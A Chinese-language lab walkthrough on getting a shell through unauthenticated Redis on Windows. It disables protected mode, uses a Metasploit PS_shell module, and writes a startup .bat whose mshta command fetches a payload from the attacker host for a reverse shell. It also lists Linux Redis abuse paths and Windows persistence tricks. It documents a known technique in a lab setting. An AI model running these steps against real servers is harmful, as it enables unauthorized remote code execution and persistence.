Redis在Windows环境下Getshell
环境搭建
windows版本redis: Redis-x64-3.2.100.msi
靶机环境: windows server 2012
IP: 10.107.11.76
攻击环境: kali linux
IP: 10.107.10.77
模拟redis未授权环境
编辑Redis
目录中的redis.windows.conf
配置文件,如下设置:
1 | protected-mode no |
这样我们就得到了一个未授权的环境。
模拟攻击
mshta PS_shell
这里我们要用到PS_shell.rb
这个脚本,下载地址如下:
下载脚本放到/usr/share/metasploit-framework/modules/exploits/windows/
目录下。
执行命令:
1 | reload_all |
加载攻击脚本,然后执行如下命令:
1 | msf > use exploit/windows/PS_shell |
从以上结果来看我们只需要执行mshta.exe "http://10.107.10.77:8080/123"
这个命令就可以得到一个反弹的shell了。
redis未授权写文件
这里我们回到windows
版本下的redis
。利用这个未授权进行写文件。
在linux
环境下,redis
未授权可以利用以下方法利用:
- 保存到www目录,创建webshell
- 创建SSH authorized_keys文件
- 写计划任务(/var/spool/cron/&/etc/cron.d/)
- slave of 8.8.8.8主从模式利用
- 写入到/etc/profile.d/用户环境变量
- 开启AOF持久化纯文本记录appendfilename
我们常用的就是前三种,但是在windows
这些都是不成立的。
在网上找了不少资料,windows
环境下的redis
未授权利用的文章还是比较少的,可以利用的点就是启动项
了,
但是还是比较鸡肋的,需要目标机器重启。
另外我在T00ls.net
看到的有人回复有如下方法:
- lpk,sethc,启动项,mof,ink劫持
- 写个hta下载powershell执行写入文件 metasploit等管理员上线
第一个对于redis
未授权写文件来说到除启动项,其他的对于写文件来说都是比较麻烦的。
第二个就是还是麻烦的,既然可以利用mshta
了就可以利用我上面说的PS_shell.rb
这个脚本了。
这里还是利用PS_shell.rb
生成一个恶意链接,利用mshta
这个命令来执行这个恶意链接反弹一个shell。
执行命令最简单的就是用bat
文件了。我们只需要写入一个eval.bat
来执行
1 | mshta.exe "http://10.107.10.77:8080/123" |
等待目标重启,我们就可以得到shell了。
写文件的时候需要注意的就是:redis
写文件会自动生成一个redis
版本信息,如下:
1 | REDIS0007?redis-ver3.2.100?redis-bits繞?ctime聤K][?used-mem篓? ? ? |
所以我们需要处理一下,在bat
中每一行当做一条命令执行。这里我们需要换行,换行也要注意的是。这里要用到\r\n
,而且一个\r\n
是不行的。这里我们用两个或多个\r\n
来进行换行。
未授权连接到redis
,执行如下命令:
1 | root@kali:~# telnet 10.107.11.76 6379 |
我们这边手动重启靶机,就可以反弹一个shell了。
1 | msf exploit(windows/PS_shell) > |